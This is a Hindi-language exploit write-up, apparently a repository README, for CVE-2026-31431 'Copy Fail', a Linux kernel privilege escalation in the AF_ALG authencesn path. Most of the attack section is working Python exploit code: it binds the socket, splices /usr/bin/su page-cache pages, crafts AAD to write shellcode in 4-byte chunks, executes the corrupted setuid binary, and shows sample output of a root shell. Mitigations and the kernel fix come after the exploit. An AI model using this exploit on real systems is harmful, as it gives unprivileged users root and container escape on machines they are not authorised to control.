CVE-2026-31431: कॉपी फेल - लिनक्स कर्नेल विशेषाधिकार वृद्धि

कॉपी फेल (CVE-2026-31431) लिनक्स कर्नेल के क्रिप्टोग्राफिक सबसिस्टम में एक गंभीर लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को रूट तक विशेषाधिकार वृद्धि प्राप्त करने की अनुमति देता है। यह भेद्यता सभी प्रमुख वितरणों में लिनक्स कर्नेल 6.0.0 से 6.18.x को प्रभावित करती है।

इस रिपॉजिटरी में वास्तविक एक्सप्लॉइट है जो setuid बाइनरीज़ के पेज कैश को दूषित करके और रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करके भेद्यता को ट्रिगर करता है।

कॉपी फेल क्या है?

कॉपी फेल एक लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को सिस्टम पर किसी भी पठनीय फ़ाइल के कर्नेल के पेज कैश में सीधे मनमाने 4-बाइट चंक लिखने की अनुमति देता है, जिसमें setuid बाइनरीज़ भी शामिल हैं।

मुख्य विशेषताएं:

• निर्धारक (Deterministic): कोई रेस कंडीशन या टाइमिंग विंडो की आवश्यकता नहीं
• पोर्टेबल: समान एक्सप्लॉइट सभी भेद्य वितरणों (Ubuntu, RHEL, Amazon Linux, SUSE) पर काम करता है
• गुप्त (Stealthy): डिस्क पर मौजूद फ़ाइलें कभी संशोधित नहीं होतीं; केवल इन-मेमोरी पेज कैश दूषित होता है
• कंटेनरीकृत: कंटेनर सीमाओं को बायपास करता है क्योंकि पेज कैश होस्ट के साथ साझा होता है
• सरल: केवल Python 3.10+ और मानक लाइब्रेरी मॉड्यूल की आवश्यकता है

तकनीकी विवरण

मूल कारण: इन-प्लेस AEAD ऑपरेशन

यह भेद्यता algif_aead.c (कमिट 72548b093ee3) में 2017 के अनुकूलन से उत्पन्न होती है जिसने AEAD ऑपरेशन को आउट-ऑफ-प्लेस से इन-प्लेस में बदल दिया:

पहले (सुरक्षित - 2015):

TX स्कैटरलिस्ट (इनपुट)  ← TX बफर (फ़ाइल से उपयोगकर्ता डेटा)
RX स्कैटरलिस्ट (आउटपुट) ← RX बफर (उपयोगकर्ता का आउटपुट क्षेत्र)
                          
अलग स्कैटरलिस्ट = पेज कैश पेज केवल-पठनीय हैं

बाद में (भेद्य - 2017):

संयुक्त स्कैटरलिस्ट:
[ RX बफर ] [ sg_chain() के माध्यम से जुड़े पेज कैश पेज ]
↑                ↑
req->src = src   req->dst = dst  (समान स्कैटरलिस्ट)

पेज कैश पेज अब एक लिखने-योग्य स्कैटरलिस्ट में हैं!

संयुक्त स्कैटरलिस्ट इस प्रकार दिखती है:

[RX बफर से AAD + सिफरटेक्स्ट] || [/usr/bin/su पेज कैश से टैग]
                                  ↑
                                  सीमा
                                  (authencesn इस बिंदु से आगे लिखता है)

ट्रिगर: authencesn एल्गोरिदम स्क्रैच राइट

authencesn एल्गोरिदम IPsec द्वारा विस्तारित अनुक्रम संख्या (ESN) के लिए उपयोग किया जाने वाला एक AEAD रैपर है। यह HMAC गणना करता है लेकिन AAD (संबद्ध प्रमाणित डेटा) के भीतर बाइट्स को पुनर्व्यवस्थित करने की आवश्यकता होती है।

कर्नेल कोड (crypto/authenc.c) में, डिक्रिप्शन के दौरान:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // AAD बाइट्स 0-7 पढ़ें
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // अस्थायी: dst[4..7] को अधिलेखित करें
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← मुख्य पंक्ति
                                                        // dst[assoclen+cryptlen] पर 4 बाइट लिखें

समस्या: तीसरा लेखन ऑफसेट assoclen + cryptlen पर होता है। भेद्य इन-प्लेस पथ में:

• सामान्य मामला: यह ऑफसेट उपयोगकर्ता के RX बफर के भीतर है (हानिरहित)
• भेद्य मामला: यह ऑफसेट उपयोगकर्ता के बफर से परे है और जुड़े हुए पेज कैश पेजों में गिर जाता है (गंभीर)

कर्नेल इस स्थिति को "व्यय योग्य स्क्रैच स्पेस" मानता है और वहां मान स्थायी रूप से लिखता है। पेज कैश में इस स्थिति के मूल बाइट्स हमेशा के लिए खो जाते हैं।

हमले की श्रृंखला

1. हमलावर AF_ALG सॉकेट खोलता है → authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है
   (कोई विशेषाधिकार आवश्यक नहीं; AF_ALG डिफ़ॉल्ट रूप से अनप्रिविलेज्ड उपयोगकर्ताओं के लिए उपलब्ध है)

2. हमलावर लक्ष्य फ़ाइल खोलता है: /usr/bin/su (setuid-root बाइनरी)

3. हमलावर /usr/bin/su के पेज कैश पेजों को "सिफरटेक्स्ट" और "टैग" के रूप में
   AF_ALG सॉकेट में पहुंचाने के लिए splice() का उपयोग करता है
   
4. हमलावर AAD के साथ sendmsg() भेजता है जिसमें शामिल है:
   - बाइट्स 0-3: पैडिंग
   - बाइट्स 4-7: seqno_lo = लिखने के लिए 4-बाइट मान (हमलावर द्वारा नियंत्रित)
   - बाइट्स 8+: पैडिंग

5. हमलावर recvmsg() कॉल करता है जो AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करता है
   
   कर्नेल स्पेस में authencesn के डिक्रिप्ट के अंदर:
   a) कर्नेल AAD बाइट्स 0-7 पढ़ता है
   b) कर्नेल dst[4..7] पर seqno_hi लिखता है (अस्थायी, फिर पुनर्स्थापित)
   c) कर्नेल dst[assoclen + cryptlen] पर seqno_lo लिखता है
      ↓
      यह लेखन उपयोगकर्ता बफर से पेज कैश पेजों में पार करता है
      ↓
      /usr/bin/su के पेज कैश में 4-बाइट लेखन यहाँ होता है
   d) कर्नेल HMAC की गणना करता है (सत्यापन विफल - सिफरटेक्स्ट निर्मित है)
   e) recvmsg() त्रुटि लौटाता है
   
   लेकिन: 4-बाइट लेखन पेज कैश में पहले से ही बना रहता है

6. हमलावर शेलकोड के प्रत्येक 4-बाइट चंक के लिए चरण 2-5 दोहराता है

7. हमलावर /usr/bin/su निष्पादित करता है
   - कर्नेल बाइनरी को पेज कैश से लोड करता है (जिसमें अब शेलकोड है)
   - बाइनरी setuid-root है
   - शेलकोड UID=0 के साथ निष्पादित होता है
   - हमलावर के पास रूट एक्सेस है

यह क्यों काम करता है

एक्सप्लॉइट: चरण-दर-चरण

चरण 1: सॉकेट सेटअप

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # AEAD ऑपरेशन के लिए अनुरोध सॉकेट

authencesn AEAD टेम्पलेट से बाउंड एक AF_ALG सॉकेट बनाएं।

चरण 2: लक्ष्य बाइनरी खोलें

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

setuid बाइनरी खोलें जिसे दूषित किया जाएगा। कोई भी पठनीय फ़ाइल काम करती है, लेकिन विशेषाधिकार वृद्धि के लिए setuid बाइनरीज़ चुनी जाती हैं।

चरण 3: स्प्लाइस के लिए पाइप बनाएं

pipe_rd, pipe_wr = os.pipe()

एक पाइप बनाएं जो splice() ऑपरेशन के लिए मध्यस्थ के रूप में कार्य करेगा। पाइप बफर पेज कैश पेजों के संदर्भ रखेंगे।

चरण 4: फ़ाइल को पाइप में स्प्लाइस करें

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

write_offset से शुरू होकर /usr/bin/su से cryptlen बाइट्स को पाइप में स्थानांतरित करने के लिए splice() का उपयोग करें।

यह क्यों मायने रखता है: splice() फ़ाइल डिस्क्रिप्टर के बीच डेटा बिना कॉपी किए स्थानांतरित करता है। यह कर्नेल पेज कैश पेजों के सीधे संदर्भ पास करता है। ये पेज पाइप के आंतरिक बफर संरचना में रहते हैं।

चरण 5: AEAD पैरामीटर तैयार करें

assoclen = 8          # AAD लंबाई: बाइट्स 0-7
cryptlen = 32         # सिफरटेक्स्ट लंबाई (== HMAC-SHA256 आउटपुट)
authsize = 32         # टैग लंबाई
write_offset = 0x2000 # /usr/bin/su में लिखने के लिए ऑफसेट

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD (संबद्ध प्रमाणित डेटा) में शामिल है:

• बाइट्स 0-3: पैडिंग
• बाइट्स 4-7: लिखने के लिए 4-बाइट मान (seqno_lo) ← हमलावर इसे नियंत्रित करता है
• शेष: पैडिंग

authencesn एल्गोरिदम अपने स्क्रैच राइट में इस AAD के बाइट्स 4-7 का उपयोग करेगा।

चरण 6: AAD भेजें

req_sock.sendmsg([aad], [], socket.MSG_MORE)

AAD को AF_ALG सॉकेट पर भेजें। MSG_MORE फ्लैग इंगित करता है कि सिफरटेक्स्ट/टैग आगे आएगा।

चरण 7: सिफरटेक्स्ट+टैग को सॉकेट में स्प्लाइस करें

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

पाइप से पेज कैश पेजों को AF_ALG सॉकेट में स्थानांतरित करें। अब कर्नेल की स्कैटरलिस्ट में शामिल है:

स्कैटरलिस्ट श्रृंखला:
[ AAD (RX बफर से) ] || [ सिफरटेक्स्ट (RX बफर से) ] → [ टैग (पेज कैश पेज) ]
                                                               ↑
                                                     अभी भी संदर्भित करता है
                                                     /usr/bin/su के पेज

चरण 8: recvmsg() के माध्यम से भेद्यता ट्रिगर करें

try:
    req_sock.recv(1024)
except OSError:
    pass  # अमान्य HMAC के साथ विफल होने की उम्मीद है

AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करने के लिए recvmsg() कॉल करें:

कर्नेल स्पेस में authencesn के अंदर:

1. कर्नेल AAD बाइट्स 0-7 पढ़ता है
2. कर्नेल अस्थायी रूप से AAD बाइट्स 4-7 (seqno_hi) को अधिलेखित करता है
3. कर्नेल AAD के बाइट्स 4-7 (seqno_lo) को dst[assoclen + cryptlen] पर लिखता है
   • यह ऑफसेट है: स्कैटरलिस्ट में 8 + 32 = 40 बाइट्स
   • RX बफर कुल ~48 बाइट्स का है
   • बाइट 40 पर लेखन जुड़े हुए पेज कैश पेजों में पार करता है
4. कर्नेल अस्थायी स्थान से AAD बाइट्स 4-7 को पुनर्स्थापित करता है
5. कर्नेल पुनर्व्यवस्थित डेटा पर HMAC की गणना करता है → विफल (निर्मित सिफरटेक्स्ट)
6. कर्नेल त्रुटि लौटाता है
7. लेकिन ऑफसेट 40 पर 4-बाइट लेखन पहले ही हो चुका है और बना रहता है

चरण 9: प्रत्येक शेलकोड चंक के लिए दोहराएं

for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

एक्सप्लॉइट लूप करता है, /usr/bin/su के पेज कैश में क्रमिक ऑफसेट पर शेलकोड के 4-बाइट चंक लिखता है।

चरण 10: दूषित बाइनरी निष्पादित करें

os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

/usr/bin/su निष्पादित करें:

• कर्नेल बाइनरी को पेज कैश से लोड करता है (शेलकोड के साथ दूषित संस्करण)
• शेलकोड ज्ञात ऑफसेट पर है
• बाइनरी का setuid बिट अभी भी सेट है
• शेलकोड UID=0 के साथ निष्पादित होता है
• रूट शेल स्पॉन होता है

एक्सप्लॉइट चलाना

पूर्वापेक्षाएँ

• लिनक्स कर्नेल 6.0.0 - 6.18.x (भेद्य संस्करण)
• Python 3.10+ (os.splice() समर्थन के लिए)
• AF_ALG और authencesn मॉड्यूल लोड होने चाहिए:
  root@kitploit:~

  lsmod | grep -E 'af_alg|algif_aead|authencesn'
  

• सिस्टम तक स्थानीय उपयोगकर्ता एक्सेस
• /usr/bin/su setuid और पठनीय होना चाहिए

निष्पादन

python3 exploit.py

भेद्य सिस्टम पर अपेक्षित आउटपुट:

[*] CVE-2026-31431 (कॉपी फेल) लिनक्स कर्नेल विशेषाधिकार वृद्धि
[*] लक्ष्य: /usr/bin/su (setuid-root बाइनरी)

[*] कर्नेल संस्करण: 6.12.0-1007-aws
[+] कर्नेल 6.12.x भेद्य सीमा में है (6.0 - 6.18)

[+] /usr/bin/su मिला (setuid-root बाइनरी)
[+] कर्नेल भेद्यता जांच: AF_ALG + splice + authencesn

[*] पेज कैश भ्रष्टाचार शुरू...

[*] /usr/bin/su में 33 बाइट्स शेलकोड इंजेक्ट किया जा रहा है
[+] ऑफसेट 0x2000 पर चंक 0 लिखा गया
[+] ऑफसेट 0x2004 पर चंक 1 लिखा गया
...
[+] शेलकोड इंजेक्शन सफल!
[*] शेलकोड ट्रिगर करने के लिए /usr/bin/su निष्पादित किया जा रहा है...

# id
uid=0(root) gid=1001(user) groups=1001(user)

शमन उपाय

तत्काल (कर्नेल अपडेट से पहले)

AF_ALG AEAD समर्थन अक्षम करें:

sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

यह एक्सप्लॉइट को AF_ALG के AEAD इंटरफ़ेस तक पहुंचने से रोकता है जबकि अन्य AF_ALG कार्यक्षमता बरकरार रहती है।

भेद्य मॉड्यूल अनलोड करें:

sudo rmmod algif_aead
sudo rmmod authencesn

seccomp के माध्यम से AF_ALG सॉकेट निर्माण ब्लॉक करें (कंटेनरीकृत वातावरण के लिए):

# कंटेनर सुरक्षा नीति में, socket(38, SOCK_SEQPACKET) syscalls को अस्वीकार करें

दीर्घकालिक (कर्नेल अपडेट)

लिनक्स 6.19+ में अपडेट करें जिसमें फिक्स शामिल है (कमिट a664bf3d603d)।

फिक्स algif_aead.c को आउट-ऑफ-प्लेस AEAD ऑपरेशन में वापस लाता है:

// पहले (भेद्य इन-प्लेस):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (इनपुट)
                       rsgl_src,        // RX SGL (आउटपुट) - समान
                       used, ctx->iv);

// बाद में (फिक्स्ड आउट-ऑफ-प्लेस):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (इनपुट)
                       rsgl_src,        // RX SGL (आउटपुट) - अलग
                       used, ctx->iv);

अलग स्रोत और गंतव्य स्कैटरलिस्ट के साथ:

• इनपुट: TX स्कैटरलिस्ट (splice से पेज कैश पेज शामिल हो सकते हैं)
• आउटपुट: RX स्कैटरलिस्ट (उपयोगकर्ता का बफर)
• पेज कैश पेज कभी भी लिखने-योग्य गंतव्य में नहीं होते
• authencesn का स्क्रैच राइट उपयोगकर्ता के बफर के भीतर रहता है (हानिरहित)

भेद्यता समयरेखा

प्रभावित संस्करण

यह भेद्यता क्यों महत्वपूर्ण है

1. क्रॉस-डिस्ट्रीब्यूशन: समान हमला Ubuntu, RHEL, Amazon Linux, SUSE पर काम करता है
2. कोई विशेषाधिकार आवश्यक नहीं: स्थानीय अनप्रिविलेज्ड उपयोगकर्ता → रूट
3. कंटेनर एस्केप: साझा पेज कैश का अर्थ है पॉड-से-होस्ट समझौता संभव
4. Kubernetes प्रभाव: Kubernetes क्लस्टर में नोड एस्केप वेक्टर
5. लॉजिक बग: ऑफ-बाय-वन या बफर ओवरफ्लो नहीं; शुद्ध लॉजिक दोष
6. गुप्त: कोई सिस्टम क्रैश नहीं, कोई लॉग नहीं, डिस्क फ़ाइलें अछूती
7. विश्वसनीय: जीतने के लिए कोई टाइमिंग विंडो या रेस कंडीशन नहीं

संदर्भ

• Xint Research प्रकटीकरण: https://xint.io/blog/copy-fail-linux-distributions
• कर्नेल फिक्स कमिट: https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
• भेद्य कमिट: https://github.com/torvalds/linux/commit/72548b093ee3
• CVE विवरण: CVE-2026-31431
• अनुसंधान टीम: Xint Code / Theori

अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। भेद्यता का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।